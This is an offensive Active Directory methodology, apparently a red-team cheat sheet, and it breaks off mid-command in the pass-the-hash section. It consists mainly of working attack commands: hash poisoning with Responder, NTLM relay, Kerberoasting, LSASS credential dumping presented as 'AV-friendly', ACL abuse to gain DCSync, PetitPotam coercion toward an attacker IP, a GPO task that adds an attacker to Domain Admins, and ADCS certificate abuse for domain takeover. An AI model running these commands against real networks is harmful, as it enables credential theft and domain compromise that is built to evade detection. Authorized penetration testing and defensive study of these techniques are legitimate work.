offensive-active-directory

Active Directory — Offensive Testing Methodology

Quick Workflow

1. Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries
2. Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed
3. Map attack paths to Domain Admin / Enterprise Admin / Tier 0
4. Execute path with lowest detection cost, validate at each hop
5. Establish persistence and document every action with timestamps

Reconnaissance

BloodHound Collection

# SharpHound (CSharp collector) — most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip

# Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth

# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All

PowerView (No Tool Drop)

# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
  ?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}

ADExplorer Offline

# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/

Credential Harvesting

LLMNR / NBT-NS / mDNS Poisoning

# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf

# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y

Crack with hashcat mode 5600. If cracking fails, relay instead.

NTLM Relay

# Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt

# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
  --escalate-user attacker --delegate-access

# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
  --adcs --template DomainController

Kerberoasting

# Request TGS for all SPN-bearing accounts
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
# AES-only accounts (harder to crack but worth attempting)
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt

# Cross-platform from Linux
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule

ASREProasting

# Find users with DONT_REQUIRE_PREAUTH set
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 18200 asrep.txt rockyou.txt

LSASS / SAM Dumping

:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full

:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)

:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid

Parse with Mimikatz or pypykatz offline:

pypykatz lsa minidump lsass.dmp

Privilege Escalation Within AD

ACL Abuse

| Right | Abuse | |-------|-------| | GenericAll / GenericWrite | Add SPN → Kerberoast; reset password; add member | | WriteDacl | Grant yourself DCSync rights, then DCSync | | WriteOwner | Take ownership → grant rights → exploit | | AllExtendedRights (User) | Force password change | | AllExtendedRights (Domain) | DCSync | | AddMember | Add self to privileged group | | WriteSPN | Set SPN, kerberoast target |

# Targeted Kerberoast (write SPN, roast, remove SPN)
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
Rubeus.exe kerberoast /user:victim
Set-DomainObject -Identity victim -Clear serviceprincipalname

# Grant DCSync via WriteDacl
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
  -PrincipalIdentity attacker -Rights DCSync

Kerberos Delegation

# Find delegation
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# Unconstrained → wait for / coerce DC auth, capture TGT
Rubeus.exe monitor /interval:5 /nowrap

# Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN
Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator \
  /msdsspn:cifs/dc.corp.local /ptt

# Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity
# Requires GenericAll/GenericWrite on the target computer object

Coercion Primitives

| Technique | Tool / RPC | |-----------|-----------| | PetitPotam | MS-EFSRPC (EfsRpcOpenFileRaw, EfsRpcEncryptFileSrv) | | PrinterBug | MS-RPRN (RpcRemoteFindFirstPrinterChangeNotificationEx) | | DFSCoerce | MS-DFSNM (NetrDfsRemoveStdRoot) | | ShadowCoerce | MS-FSRVP | | WebDAV | Search-and-replace UNC path embedded in any web fetch |

# Coerce + relay full chain
impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &
PetitPotam.py -u low -p pass attacker-ip dc-ip
# Result: RBCD set, S4U → DA on coerced machine

GPO Abuse

# Find GPOs you can edit
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
  ?{ $_.SecurityIdentifier -eq (Get-DomainUser current).objectsid `
     -and $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }

# SharpGPOAbuse — add scheduled task / immediate task to GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System \
  --Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain" \
  --GPOName "Workstation Policy"

ADCS Abuse — ESC1 through ESC15

Enumeration

certipy find -u user@corp.local -p pass -dc-ip 10.0.0.1 -vulnerable -stdout

Common Misconfigurations

| ID | Misconfig | Exploitation | |----|-----------|--------------| | ESC1 | Client Auth + ENROLLEE_SUPPLIES_SUBJECT | Request cert with arbitrary UPN | | ESC2 | Any Purpose EKU | Request cert valid for any use | | ESC3 | Enrollment Agent | Request agent cert, then on-behalf-of any user | | ESC4 | Vulnerable template ACL | Modify template to ESC1 | | ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | SAN injection on any template | | ESC7 | Vulnerable CA ACL (ManageCA) | Approve own pending requests | | ESC8 | Web Enrollment HTTP + no EPA | NTLM relay → cert | | ESC9 | No security extension + UPN | UPN spoofing post-account-rename | | ESC10 | StrongCertificateBindingEnforcement weak | UPN spoofing without rename | | ESC11 | RPC unprotected (no ICertPassage IF_ENFORCEENCRYPTICERTREQUEST) | Relay over RPC | | ESC13 | Issuance policy linked to group | Cert grants group membership | | ESC14 | altSecurityIdentities write | Map attacker cert to admin | | ESC15 | EKUwu — schema v1 templates | Inject EKU at request time |

ESC1 Exploitation

# Request cert as Administrator
certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate \
  -upn administrator@corp.local

# Use cert to get TGT and NT hash via UnPAC-the-Hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

ESC8 (Web Enrollment Relay)

# Coerce any DC, relay to ADCS Web Enrollment, request DC cert
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
  --adcs --template DomainController &
PetitPotam.py attacker-ip dc.corp.local
# Result: cert for DC$ → TGT → DCSync

Lateral Movement

Pass-the-Hash / Overpass-the-Hash

# PTH with NT hash
nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth
impacket-psexec corp/admin@target -hashes :<NThash>

# Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)
Rubeus.exe asktgt /user:admin /rc4:<